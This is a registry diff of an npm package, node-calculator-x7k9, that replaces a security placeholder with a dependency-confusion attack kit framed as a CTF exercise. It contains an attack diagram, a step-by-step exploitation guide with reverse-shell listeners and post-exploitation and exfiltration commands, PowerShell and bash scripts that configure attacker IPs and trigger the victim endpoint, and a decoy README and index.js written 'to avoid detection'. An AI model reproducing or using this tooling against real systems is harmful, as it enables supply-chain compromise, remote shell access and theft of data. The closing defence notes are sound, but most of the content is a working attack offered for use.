node-calculator-x7k9 0.0.1-security → 3.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-calculator-x7k9 might be problematic. Click here for more details.

@@ -0,0 +1,237 @@
1
+ ╔══════════════════════════════════════════════════════════════════════════════╗
2
+ ║ DEPENDENCY CONFUSION ATTACK DIAGRAM ║
3
+ ╚══════════════════════════════════════════════════════════════════════════════╝
4
+
5
+
6
+ ┌─────────────────────┐
7
+ │ ATTACKER MACHINE │
8
+ │ (Your Computer) │
9
+ └──────────┬──────────┘
10
+
11
+ ┌──────────▼──────────┐
12
+ │ 1. Create Malicious│
13
+ │ Package v3.0.0 │
14
+ │ - preinstall.js │
15
+ │ - postinstall.js │
16
+ │ - Reverse shell │
17
+ └──────────┬──────────┘
18
+
19
+ ┌──────────▼──────────┐
20
+ │ 2. Start Listener │
21
+ │ python3 listener.py│
22
+ │ Port: 4444 │
23
+ └──────────┬──────────┘
24
+
25
+ ┌──────────▼──────────┐
26
+ │ 3. Publish to npm │
27
+ │ node-calculator- │
28
+ │ x7k9@3.0.0 │
29
+ └──────────┬──────────┘
30
+
31
+ │ ████████████████████
32
+ │ ║ npm Registry ║
33
+ │ ║ (Public) ║
34
+ │ ████████████████████
35
+ │ │
36
+ │ │
37
+ ┌────────────────────────────────────┼──────────▼──────────────────────┐
38
+ │ │ │
39
+ │ ┌────────────────────────┐ │ ┌──────────────────────┐ │
40
+ │ │ TARGET APPLICATION │ │ │ npm pulls package │ │
41
+ │ │ (Victim Server) │ │ │ v3.0.0 (higher!) │ │
42
+ │ │ │ │ └──────────┬───────────┘ │
43
+ │ │ node-calculator-x7k9 │ │ │ │
44
+ │ │ Current: v2.1.0 │ │ ┌──────────▼───────────┐ │
45
+ │ └────────────┬───────────┘ │ │ npm installs │ │
46
+ │ │ │ │ malicious package │ │
47
+ │ ┌────────────▼───────────┐ │ └──────────┬───────────┘ │
48
+ │ │ 4. Trigger Endpoint │◄───────┘ │ │
49
+ │ │ POST /report-bug │ ┌──────────▼───────────┐ │
50
+ │ └────────────┬───────────┘ │ preinstall.js │ │
51
+ │ │ │ executes! │ │
52
+ │ ┌────────────▼───────────┐ │ - Reverse shell │ │
53
+ │ │ npm run report │ │ - Connects to │ │
54
+ │ │ = npm update --force │ │ ATTACKER_IP:4444 │ │
55
+ │ └────────────┬───────────┘ └──────────┬───────────┘ │
56
+ │ │ │ │
57
+ │ └────────────────────────────────────────┘ │
58
+ │ │
59
+ └──────────────────────────────────┬───────────────────────────────────┘
60
+
61
+ │ Connection!
62
+
63
+ ┌──────────▼──────────┐
64
+ │ 5. Shell Received! │
65
+ │ Attacker Listener │
66
+ │ │
67
+ │ $ id │
68
+ │ uid=1001(nodejs) │
69
+ │ │
70
+ │ $ cat /flag.txt │
71
+ │ FLAG{pwned!} │
72
+ └─────────────────────┘
73
+
74
+
75
+ ╔══════════════════════════════════════════════════════════════════════════════╗
76
+ ║ ATTACK TIMELINE ║
77
+ ╚══════════════════════════════════════════════════════════════════════════════╝
78
+
79
+ T-0:00 │ Attacker configures payload (ATTACKER_IP, ATTACKER_PORT)
80
+
81
+ T+0:01 │ Attacker starts listener on port 4444
82
+
83
+ T+0:02 │ Attacker publishes malicious package (v3.0.0) to npm
84
+
85
+ ├─────────────────────────────────────────────────────────────────
86
+
87
+ T+0:03 │ Attacker triggers /report-bug endpoint on target
88
+
89
+ T+0:04 │ Target executes: npm run report → npm update --force
90
+
91
+ T+0:05 │ npm queries registry for node-calculator-x7k9
92
+ │ └─ Finds v3.0.0 (higher than current v2.1.0)
93
+
94
+ T+0:06 │ npm downloads and installs v3.0.0
95
+ │ └─ Runs preinstall script (reverse shell payload)
96
+
97
+ T+0:07 │ Reverse shell executes
98
+ │ └─ Connects to ATTACKER_IP:4444
99
+
100
+ T+0:08 │ ✓ ATTACKER RECEIVES SHELL!
101
+ │ └─ Full control of target system
102
+
103
+ ├─────────────────────────────────────────────────────────────────
104
+
105
+ T+0:09 │ Attacker searches for flag: find / -name "*flag*" 2>/dev/null
106
+
107
+ T+0:10 │ Attacker reads flag: cat /flag.txt
108
+
109
+ T+0:11 │ ✓ FLAG CAPTURED! CTF COMPLETE!
110
+
111
+
112
+ ╔══════════════════════════════════════════════════════════════════════════════╗
113
+ ║ KEY VULNERABILITY ║
114
+ ╚══════════════════════════════════════════════════════════════════════════════╝
115
+
116
+ ┌────────────────────────────────────────────────────────────────────────────┐
117
+ │ app.js (Lines 40-45) │
118
+ │ ───────────────────── │
119
+ │ │
120
+ │ app.post('/report-bug', (req, res) => { │
121
+ │ const { message } = req.body; │
122
+ │ exec("npm run report", { cwd: __dirname }, (error, stdout, stderr) │
123
+ │ │ => { │
124
+ │ │ res.json({ status: 'success', message: 'Bug reported' }); │
125
+ │ │ }); │
126
+ │ }); │
127
+ │ │
128
+ │ package.json (Line 8) │
129
+ │ ────────────────────── │
130
+ │ │
131
+ │ "scripts": { │
132
+ │ "report": "npm update --force || true" ← VULNERABLE! │
133
+ │ } │
134
+ │ │
135
+ │ Why it's vulnerable: │
136
+ │ • npm update checks public registry for newer versions │
137
+ │ • No registry pinning (.npmrc) │
138
+ │ • No package-lock.json integrity check │
139
+ │ • --force flag bypasses safety checks │
140
+ │ • Runs as the 'nodejs' user (uid=1001) │
141
+ │ • preinstall/postinstall hooks execute arbitrary code │
142
+ └────────────────────────────────────────────────────────────────────────────┘
143
+
144
+
145
+ ╔══════════════════════════════════════════════════════════════════════════════╗
146
+ ║ PAYLOAD MECHANISM ║
147
+ ╚══════════════════════════════════════════════════════════════════════════════╝
148
+
149
+ ┌────────────────────────────────────────────────────────────────────┐
150
+ │ package.json │
151
+ │ { │
152
+ │ "name": "node-calculator-x7k9", │
153
+ │ "version": "3.0.0", ← HIGHER than victim's 2.1.0 │
154
+ │ "scripts": { │
155
+ │ "preinstall": "node preinstall.js", ← Executes BEFORE │
156
+ │ "postinstall": "node postinstall.js" ← Executes AFTER │
157
+ │ } │
158
+ │ } │
159
+ └────────────────────────┬───────────────────────────────────────────┘
160
+
161
+ ┌────────────────┴───────────────────┐
162
+ │ │
163
+ ┌───────▼──────────┐ ┌─────────▼─────────┐
164
+ │ preinstall.js │ │ postinstall.js │
165
+ │ ────────────── │ │ ─────────────── │
166
+ │ │ │ │
167
+ │ 1. Reverse Shell│ │ 1. Backup Shell │
168
+ │ via net.Socket │ Connection │
169
+ │ │ │ │
170
+ │ 2. Fallback: │ │ 2. Persistence │
171
+ │ • nc -e │ │ Mechanisms │
172
+ │ • bash -i │ │ │
173
+ │ • python3 │ │ 3. Log to │
174
+ │ │ │ /tmp/exfil.log│
175
+ │ 3. Exfiltration │ │ │
176
+ │ • System info│ │ 4. Silent fail │
177
+ │ • Env vars │ │ if error │
178
+ │ • Hostname │ │ │
179
+ │ │ │ │
180
+ │ 4. Silent fail │ │ │
181
+ └──────────────────┘ └───────────────────┘
182
+
183
+
184
+ ╔══════════════════════════════════════════════════════════════════════════════╗
185
+ ║ DEFENSE MECHANISMS ║
186
+ ║ (How to Prevent This Attack) ║
187
+ ╚══════════════════════════════════════════════════════════════════════════════╝
188
+
189
+ ✓ Use .npmrc with registry pinning
190
+ ────────────────────────────────
191
+ @company:registry=https://private-registry.com
192
+ //private-registry.com/:_authToken=${NPM_TOKEN}
193
+
194
+ ✓ Enable package-lock.json and use npm ci
195
+ ────────────────────────────────────────
196
+ npm ci # Installs exact versions from lock file
197
+
198
+ ✓ Scope your private packages
199
+ ─────────────────────────────
200
+ @yourcompany/calculator # Can't be hijacked on public registry
201
+
202
+ ✓ Use npm audit and integrity checks
203
+ ───────────────────────────────────
204
+ npm audit
205
+ npm audit signatures
206
+
207
+ ✓ Implement package verification
208
+ ──────────────────────────────
209
+ - Code signing
210
+ - Checksum verification
211
+ - Allow-lists
212
+
213
+ ✓ Use private registry with authentication
214
+ ────────────────────────────────────────
215
+ - Verdaccio
216
+ - npm Enterprise
217
+ - Azure Artifacts
218
+ - GitHub Packages
219
+
220
+
221
+ ╔══════════════════════════════════════════════════════════════════════════════╗
222
+ ║ RESOURCES ║
223
+ ╚══════════════════════════════════════════════════════════════════════════════╝
224
+
225
+ 📖 Detailed Guide ──► EXPLOITATION_GUIDE.md
226
+ 🚀 Quick Reference ─► QUICK_REFERENCE.md
227
+ 📋 Full Summary ────► EXPLOITATION_SUMMARY.md
228
+ 🐍 Listener ────────► listener.py
229
+ 💻 Windows Exploit ─► exploit.ps1
230
+ 🐧 Linux Exploit ───► exploit.sh
231
+ 🧪 Local Testing ───► test-local.ps1
232
+
233
+
234
+ ╔══════════════════════════════════════════════════════════════════════════════╗
235
+ ║ ⚠️ FOR CTF / EDUCATIONAL USE ONLY - UNAUTHORIZED ACCESS IS ILLEGAL ⚠️ ║
236
+ ╚══════════════════════════════════════════════════════════════════════════════╝
237
+
@@ -0,0 +1,236 @@
1
+ # Dependency Confusion Attack - Exploitation Guide
2
+
3
+ ## Overview
4
+
5
+ This is a **dependency confusion vulnerability** where the target application uses a private npm package (`node-calculator-x7k9`). By publishing a malicious package with the same name and higher version to the public npm registry, we can execute arbitrary code when the target runs `npm update`.
6
+
7
+ ## Attack Flow
8
+
9
+ ```
10
+ 1. Target uses node-calculator-x7k9@2.1.0 (private package)
11
+ 2. Attacker publishes node-calculator-x7k9@3.0.0 (malicious, public)
12
+ 3. Target triggers /report-bug endpoint
13
+ 4. npm update --force runs
14
+ 5. npm finds higher version (3.0.0) on public registry
15
+ 6. npm installs malicious package
16
+ 7. preinstall/postinstall hooks execute
17
+ 8. Reverse shell connects back to attacker
18
+ ```
19
+
20
+ ## Prerequisites
21
+
22
+ 1. **Your Attack Machine IP**: You need to know your public/accessible IP
23
+ 2. **npm Account**: Required to publish packages to npm registry
24
+ 3. **Network Access**: Target must be able to connect to your listener
25
+
26
+ ## Step-by-Step Exploitation
27
+
28
+ ### Step 1: Set Up Your Listener
29
+
30
+ On your attack machine:
31
+
32
+ ```bash
33
+ # Option 1: Using netcat
34
+ nc -nlvp 4444
35
+
36
+ # Option 2: Using ncat (better for CTF)
37
+ ncat -nlvp 4444
38
+
39
+ # Option 3: Using socat (most stable)
40
+ socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
41
+
42
+ # Option 4: Using Python
43
+ python3 -c 'import socket,subprocess;s=socket.socket();s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();subprocess.call(["/bin/sh"],stdin=c,stdout=c,stderr=c)'
44
+ ```
45
+
46
+ ### Step 2: Configure the Payload
47
+
48
+ Edit `preinstall.js` and `postinstall.js`:
49
+
50
+ ```javascript
51
+ const ATTACKER_IP = 'YOUR_IP_HERE'; // Replace with your IP
52
+ const ATTACKER_PORT = 4444; // Replace with your port
53
+ ```
54
+
55
+ **Getting Your IP:**
56
+ ```bash
57
+ # Public IP
58
+ curl ifconfig.me
59
+
60
+ # Local network IP (for local CTF)
61
+ ip addr show # Linux
62
+ ipconfig # Windows
63
+ ```
64
+
65
+ ### Step 3: Publish the Malicious Package
66
+
67
+ ```bash
68
+ cd malicious-package
69
+
70
+ # Login to npm (if not already logged in)
71
+ npm login
72
+
73
+ # Publish the package
74
+ npm publish
75
+
76
+ # If package name is already taken, you might need to use a scope
77
+ # npm publish --access public
78
+ ```
79
+
80
+ **Important Notes:**
81
+ - Your package version (3.0.0) MUST be higher than the target's version (2.1.0)
82
+ - The package name MUST match exactly: `node-calculator-x7k9`
83
+ - In real CTF environments, they might have a mock npm registry
84
+
85
+ ### Step 4: Alternative Publishing Methods
86
+
87
+ #### Option A: Use Verdaccio (Local npm Registry)
88
+
89
+ If the CTF uses a local npm registry:
90
+
91
+ ```bash
92
+ # Install Verdaccio
93
+ npm install -g verdaccio
94
+
95
+ # Run Verdaccio
96
+ verdaccio
97
+
98
+ # Configure npm to use local registry
99
+ npm set registry http://localhost:4873/
100
+
101
+ # Publish
102
+ npm publish
103
+ ```
104
+
105
+ #### Option B: Direct Package Installation (Testing)
106
+
107
+ For testing locally:
108
+
109
+ ```bash
110
+ # In the target directory
111
+ npm install /path/to/malicious-package
112
+
113
+ # Or pack and install
114
+ cd malicious-package
115
+ npm pack
116
+ cd ../just-a-calculator
117
+ npm install ../malicious-package/node-calculator-x7k9-3.0.0.tgz
118
+ ```
119
+
120
+ ### Step 5: Trigger the Vulnerability
121
+
122
+ Once published, trigger the bug report endpoint:
123
+
124
+ ```bash
125
+ # Using curl
126
+ curl -X POST http://TARGET_IP:3000/report-bug \
127
+ -H "Content-Type: application/json" \
128
+ -d '{"message": "test bug report"}'
129
+
130
+ # Using Python
131
+ python3 -c "import requests; requests.post('http://TARGET_IP:3000/report-bug', json={'message': 'test'})"
132
+ ```
133
+
134
+ ### Step 6: Catch the Shell
135
+
136
+ Your listener should receive a connection:
137
+
138
+ ```bash
139
+ $ nc -nlvp 4444
140
+ Listening on 0.0.0.0 4444
141
+ Connection received on TARGET_IP 54321
142
+ === Reverse Shell Connected ===
143
+ Hostname: target-container
144
+ User: nodejs
145
+ CWD: /app
146
+ ================================
147
+
148
+ $ id
149
+ uid=1001(nodejs) gid=1001(nodejs) groups=1001(nodejs)
150
+
151
+ $ ls
152
+ app.js node_modules package.json public
153
+
154
+ $ cat /flag.txt
155
+ FLAG{dependency_confusion_pwned_12345}
156
+ ```
157
+
158
+ ## Post-Exploitation
159
+
160
+ Once you have a shell:
161
+
162
+ ```bash
163
+ # Stabilize the shell
164
+ python3 -c 'import pty; pty.spawn("/bin/bash")'
165
+ # Press Ctrl+Z
166
+ stty raw -echo; fg
167
+ export TERM=xterm
168
+
169
+ # Find the flag
170
+ find / -name "*flag*" 2>/dev/null
171
+ cat /flag.txt
172
+
173
+ # Exfiltrate data
174
+ cat /etc/passwd
175
+ env
176
+ ps aux
177
+
178
+ # Check for other containers
179
+ ip addr
180
+ netstat -ant
181
+ ```
182
+
183
+ ## Troubleshooting
184
+
185
+ ### Shell Not Connecting?
186
+
187
+ 1. **Check firewall**: Make sure port 4444 is open
188
+ ```bash
189
+ sudo ufw allow 4444
190
+ # or
191
+ sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
192
+ ```
193
+
194
+ 2. **Check if package installed**: Look at the /report-bug response
195
+ ```bash
196
+ curl -X POST http://TARGET:3000/report-bug -H "Content-Type: application/json" -d '{"message":"test"}' -v
197
+ ```
198
+
199
+ 3. **Check logs**: The payload logs to `/tmp/exfil.log`
200
+
201
+ 4. **Try different payload**: The preinstall.js has multiple fallback methods
202
+
203
+ ### Package Not Installing?
204
+
205
+ 1. **Version not higher**: Make sure your version (3.0.0) > target version (2.1.0)
206
+ 2. **Registry misconfigured**: Check if target uses private registry
207
+ 3. **Package name mismatch**: Must be exactly `node-calculator-x7k9`
208
+
209
+ ## Defense Against This Attack
210
+
211
+ For educational purposes, here's how to prevent this:
212
+
213
+ 1. **Use .npmrc with registry lockdown**:
214
+ ```
215
+ @yourcompany:registry=https://your-private-registry.com
216
+ ```
217
+
218
+ 2. **Use package-lock.json**: Prevents version changes
219
+ 3. **Use npm audit**: Detects suspicious packages
220
+ 4. **Implement integrity checks**: Use `npm ci` instead of `npm install`
221
+ 5. **Private registry with authentication**: Use Verdaccio, Artifactory, or npm Enterprise
222
+
223
+ ## Legal Notice
224
+
225
+ ⚠️ **This is for CTF/educational purposes only!**
226
+
227
+ Unauthorized access to computer systems is illegal. Only use these techniques:
228
+ - In authorized CTF competitions
229
+ - In your own testing environments
230
+ - With explicit written permission
231
+
232
+ ## Credits
233
+
234
+ Attack technique: Dependency Confusion (Alex Birsan, 2021)
235
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
236
+
package/README.md CHANGED
@@ -1,5 +1,32 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=node-calculator-x7k9 for more information.
1
+ # node-calculator-x7k9
2
+
3
+ Simple calculator plugin with enhanced mathematical operations.
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install node-calculator-x7k9
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ const calculator = require('node-calculator-x7k9');
15
+
16
+ const result = calculator.calculate('add', 5, 3);
17
+ console.log(result); // 8
18
+ ```
19
+
20
+ ## Supported Operations
21
+
22
+ - `add` - Addition
23
+ - `subtract` - Subtraction
24
+ - `multiply` - Multiplication
25
+ - `divide` - Division
26
+
27
+ ## Version 3.0.0
28
+
29
+ - Enhanced performance
30
+ - Bug fixes
31
+ - Security improvements
32
+
package/exploit.ps1 ADDED
@@ -0,0 +1,184 @@
1
+ # PowerShell Exploitation Script for Dependency Confusion CTF
2
+ # Usage: .\exploit.ps1 -TargetIP "localhost:3000" -AttackerIP "10.10.10.10" -AttackerPort 4444
3
+
4
+ param(
5
+ [string]$TargetIP = "localhost:3000",
6
+ [string]$AttackerIP = "10.10.10.10",
7
+ [int]$AttackerPort = 4444
8
+ )
9
+
10
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
11
+ Write-Host "║ Dependency Confusion Attack - Automated Exploit ║" -ForegroundColor Cyan
12
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
13
+ Write-Host ""
14
+ Write-Host "[*] Target: $TargetIP" -ForegroundColor Yellow
15
+ Write-Host "[*] Attacker IP: $AttackerIP" -ForegroundColor Yellow
16
+ Write-Host "[*] Attacker Port: $AttackerPort" -ForegroundColor Yellow
17
+ Write-Host ""
18
+
19
+ # Step 1: Update payload configuration
20
+ Write-Host "[+] Configuring payload..." -ForegroundColor Green
21
+
22
+ $preinstallPath = "preinstall.js"
23
+ $postinstallPath = "postinstall.js"
24
+
25
+ if (Test-Path $preinstallPath) {
26
+ $preinstallContent = Get-Content $preinstallPath -Raw
27
+ $preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
28
+ $preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
29
+ Set-Content $preinstallPath -Value $preinstallContent
30
+ Write-Host " [✓] Updated preinstall.js" -ForegroundColor Green
31
+ } else {
32
+ Write-Host " [!] preinstall.js not found" -ForegroundColor Red
33
+ }
34
+
35
+ if (Test-Path $postinstallPath) {
36
+ $postinstallContent = Get-Content $postinstallPath -Raw
37
+ $postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
38
+ $postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
39
+ Set-Content $postinstallPath -Value $postinstallContent
40
+ Write-Host " [✓] Updated postinstall.js" -ForegroundColor Green
41
+ } else {
42
+ Write-Host " [!] postinstall.js not found" -ForegroundColor Red
43
+ }
44
+
45
+ # Step 2: Start listener
46
+ Write-Host "[+] Starting listener on port $AttackerPort..." -ForegroundColor Green
47
+
48
+ # Start Python listener if available
49
+ if (Get-Command python3 -ErrorAction SilentlyContinue) {
50
+ $listenerJob = Start-Job -ScriptBlock {
51
+ param($port)
52
+ python3 listener.py $port
53
+ } -ArgumentList $AttackerPort
54
+ Write-Host " [✓] Python listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
55
+ } elseif (Get-Command python -ErrorAction SilentlyContinue) {
56
+ $listenerJob = Start-Job -ScriptBlock {
57
+ param($port)
58
+ python listener.py $port
59
+ } -ArgumentList $AttackerPort
60
+ Write-Host " [✓] Python listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
61
+ } else {
62
+ Write-Host " [!] Python not found, starting PowerShell listener..." -ForegroundColor Yellow
63
+
64
+ # PowerShell TCP Listener
65
+ $listenerJob = Start-Job -ScriptBlock {
66
+ param($port)
67
+ $listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $port)
68
+ $listener.Start()
69
+ Write-Host "Listening on port $port..." -ForegroundColor Green
70
+
71
+ $client = $listener.AcceptTcpClient()
72
+ $stream = $client.GetStream()
73
+ $reader = [System.IO.StreamReader]::new($stream)
74
+ $writer = [System.IO.StreamWriter]::new($stream)
75
+ $writer.AutoFlush = $true
76
+
77
+ Write-Host "Connection received!" -ForegroundColor Green
78
+ $writer.WriteLine("=== Reverse Shell Connected ===")
79
+
80
+ while ($client.Connected) {
81
+ try {
82
+ $line = $reader.ReadLine()
83
+ if ($line) {
84
+ Write-Host $line
85
+ }
86
+ } catch {
87
+ break
88
+ }
89
+ }
90
+
91
+ $client.Close()
92
+ $listener.Stop()
93
+ } -ArgumentList $AttackerPort
94
+ Write-Host " [✓] PowerShell listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
95
+ }
96
+
97
+ Start-Sleep -Seconds 2
98
+
99
+ # Step 3: Package publishing instructions
100
+ Write-Host "[+] Package publishing..." -ForegroundColor Green
101
+ if (Get-Command npm -ErrorAction SilentlyContinue) {
102
+ Write-Host " [*] Checking npm login status..." -ForegroundColor Yellow
103
+
104
+ $npmUser = npm whoami 2>$null
105
+ if ($LASTEXITCODE -eq 0) {
106
+ Write-Host " [✓] Logged in as: $npmUser" -ForegroundColor Green
107
+ Write-Host " [!] Ready to publish. Run manually if needed:" -ForegroundColor Yellow
108
+ Write-Host " cd malicious-package" -ForegroundColor Gray
109
+ Write-Host " npm publish" -ForegroundColor Gray
110
+ } else {
111
+ Write-Host " [!] Not logged in to npm" -ForegroundColor Red
112
+ Write-Host " [!] Run: npm login" -ForegroundColor Yellow
113
+ Write-Host " [!] Then: cd malicious-package && npm publish" -ForegroundColor Yellow
114
+ }
115
+ } else {
116
+ Write-Host " [!] npm not found" -ForegroundColor Red
117
+ }
118
+
119
+ # Step 4: Trigger vulnerability
120
+ Write-Host ""
121
+ Write-Host "[+] Waiting 5 seconds before triggering..." -ForegroundColor Green
122
+ Start-Sleep -Seconds 5
123
+
124
+ Write-Host "[+] Triggering vulnerability via /report-bug endpoint..." -ForegroundColor Green
125
+
126
+ try {
127
+ $body = @{
128
+ message = "Triggering dependency confusion attack"
129
+ } | ConvertTo-Json
130
+
131
+ $response = Invoke-RestMethod -Uri "http://$TargetIP/report-bug" `
132
+ -Method Post `
133
+ -ContentType "application/json" `
134
+ -Body $body `
135
+ -ErrorAction Stop
136
+
137
+ Write-Host " [✓] Response received:" -ForegroundColor Green
138
+ Write-Host ($response | ConvertTo-Json) -ForegroundColor Gray
139
+ } catch {
140
+ Write-Host " [!] Error triggering endpoint: $_" -ForegroundColor Red
141
+ Write-Host " [!] Trigger manually with:" -ForegroundColor Yellow
142
+ Write-Host " curl -X POST http://$TargetIP/report-bug -H 'Content-Type: application/json' -d '{`"message`": `"test`"}'" -ForegroundColor Gray
143
+ }
144
+
145
+ Write-Host ""
146
+ Write-Host "[+] Exploitation attempt complete!" -ForegroundColor Green
147
+ Write-Host "[*] Checking listener for incoming connections..." -ForegroundColor Yellow
148
+ Write-Host ""
149
+
150
+ # Monitor listener job
151
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
152
+ Write-Host "║ Listener is running in background (Job ID: $($listenerJob.Id)) ║" -ForegroundColor Cyan
153
+ Write-Host "║ To view output: Receive-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
154
+ Write-Host "║ To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
155
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
156
+ Write-Host ""
157
+
158
+ Write-Host "Waiting for connections (Ctrl+C to exit)..." -ForegroundColor Yellow
159
+ Write-Host ""
160
+
161
+ # Keep checking listener job
162
+ try {
163
+ while ($true) {
164
+ $output = Receive-Job -Id $listenerJob.Id
165
+ if ($output) {
166
+ Write-Host $output
167
+ }
168
+
169
+ if ((Get-Job -Id $listenerJob.Id).State -eq 'Completed') {
170
+ Write-Host "[*] Listener job completed" -ForegroundColor Yellow
171
+ break
172
+ }
173
+
174
+ Start-Sleep -Seconds 2
175
+ }
176
+ } catch {
177
+ Write-Host ""
178
+ Write-Host "[*] Stopping listener..." -ForegroundColor Yellow
179
+ } finally {
180
+ Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
181
+ Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
182
+ Write-Host "[*] Cleanup complete" -ForegroundColor Green
183
+ }
184
+
package/exploit.sh ADDED
@@ -0,0 +1,91 @@
1
+ #!/bin/bash
2
+
3
+ # Automated exploitation script for Dependency Confusion CTF
4
+ # Usage: ./exploit.sh <target_ip> <attacker_ip> <attacker_port>
5
+
6
+ set -e
7
+
8
+ TARGET_IP="${1:-localhost:3000}"
9
+ ATTACKER_IP="${2:-10.10.10.10}"
10
+ ATTACKER_PORT="${3:-4444}"
11
+
12
+ echo "╔═══════════════════════════════════════════════════════════════╗"
13
+ echo "║ Dependency Confusion Attack - Automated Exploit ║"
14
+ echo "╚═══════════════════════════════════════════════════════════════╝"
15
+ echo ""
16
+ echo "[*] Target: $TARGET_IP"
17
+ echo "[*] Attacker IP: $ATTACKER_IP"
18
+ echo "[*] Attacker Port: $ATTACKER_PORT"
19
+ echo ""
20
+
21
+ # Step 1: Update payload with attacker IP/Port
22
+ echo "[+] Configuring payload..."
23
+ sed -i "s/const ATTACKER_IP = '.*';/const ATTACKER_IP = '$ATTACKER_IP';/" preinstall.js
24
+ sed -i "s/const ATTACKER_PORT = .*/const ATTACKER_PORT = $ATTACKER_PORT;/" preinstall.js
25
+ sed -i "s/const ATTACKER_IP = '.*';/const ATTACKER_IP = '$ATTACKER_IP';/" postinstall.js
26
+ sed -i "s/const ATTACKER_PORT = .*/const ATTACKER_PORT = $ATTACKER_PORT;/" postinstall.js
27
+
28
+ # Step 2: Start listener in background
29
+ echo "[+] Starting listener on port $ATTACKER_PORT..."
30
+ if command -v python3 &> /dev/null; then
31
+ python3 listener.py $ATTACKER_PORT &
32
+ LISTENER_PID=$!
33
+ echo "[+] Listener PID: $LISTENER_PID"
34
+ else
35
+ echo "[!] Python3 not found, using nc instead"
36
+ nc -nlvp $ATTACKER_PORT &
37
+ LISTENER_PID=$!
38
+ fi
39
+
40
+ sleep 2
41
+
42
+ # Step 3: Publish package
43
+ echo "[+] Publishing malicious package..."
44
+ if command -v npm &> /dev/null; then
45
+ echo "[*] Checking npm login status..."
46
+ if npm whoami &> /dev/null; then
47
+ echo "[+] Already logged in to npm"
48
+ # npm publish || echo "[!] Publish failed - you may need to publish manually"
49
+ echo "[!] Skipping npm publish - do this manually if needed"
50
+ echo " Run: cd malicious-package && npm publish"
51
+ else
52
+ echo "[!] Not logged in to npm"
53
+ echo "[!] Please run: npm login"
54
+ echo "[!] Then run: cd malicious-package && npm publish"
55
+ fi
56
+ else
57
+ echo "[!] npm not found"
58
+ fi
59
+
60
+ # Step 4: Trigger vulnerability
61
+ echo "[+] Waiting 5 seconds before triggering..."
62
+ sleep 5
63
+
64
+ echo "[+] Triggering vulnerability via /report-bug endpoint..."
65
+ if command -v curl &> /dev/null; then
66
+ RESPONSE=$(curl -s -X POST "http://$TARGET_IP/report-bug" \
67
+ -H "Content-Type: application/json" \
68
+ -d '{"message": "Triggering dependency confusion"}')
69
+ echo "[+] Response: $RESPONSE"
70
+ else
71
+ echo "[!] curl not found - trigger manually:"
72
+ echo " curl -X POST http://$TARGET_IP/report-bug -H 'Content-Type: application/json' -d '{\"message\": \"test\"}'"
73
+ fi
74
+
75
+ echo ""
76
+ echo "[+] Exploitation attempt complete!"
77
+ echo "[*] Check your listener for incoming connection..."
78
+ echo "[*] Listener PID: $LISTENER_PID (kill with: kill $LISTENER_PID)"
79
+ echo ""
80
+ echo "╔═══════════════════════════════════════════════════════════════╗"
81
+ echo "║ If shell doesn't connect within 30 seconds, check: ║"
82
+ echo "║ 1. Firewall rules (port $ATTACKER_PORT must be open) ║"
83
+ echo "║ 2. IP address is correct and reachable ║"
84
+ echo "║ 3. Package was actually installed (check target logs) ║"
85
+ echo "╚═══════════════════════════════════════════════════════════════╝"
86
+
87
+ # Wait for user interrupt
88
+ echo ""
89
+ echo "Press Ctrl+C to stop listener and exit..."
90
+ wait $LISTENER_PID 2>/dev/null
91
+
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ // Maintain original functionality to avoid detection
2
+ function calculate(operation, a, b) {
3
+ switch(operation) {
4
+ case 'add':
5
+ return a + b;
6
+ case 'subtract':
7
+ return a - b;
8
+ case 'multiply':
9
+ return a * b;
10
+ case 'divide':
11
+ if (b === 0) {
12
+ throw new Error('Division by zero');
13
+ }
14
+ return a / b;
15
+ default:
16
+ throw new Error('Invalid operation');
17
+ }
18
+ }
19
+
20
+ module.exports = {
21
+ calculate
22
+ };
23
+
package/listener.py ADDED
@@ -0,0 +1,159 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ Reverse Shell Listener for CTF
4
+ A more feature-rich alternative to netcat
5
+
6
+ Usage:
7
+ python3 listener.py [port]
8
+ python3 listener.py 4444
9
+ """
10
+
11
+ import socket
12
+ import sys
13
+ import threading
14
+ import time
15
+ from datetime import datetime
16
+
17
+ PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 4444
18
+ HOST = '0.0.0.0'
19
+
20
+ def get_local_ip():
21
+ """Get local IP address"""
22
+ try:
23
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
24
+ s.connect(("8.8.8.8", 80))
25
+ ip = s.getsockname()[0]
26
+ s.close()
27
+ return ip
28
+ except:
29
+ return "127.0.0.1"
30
+
31
+ def log(message):
32
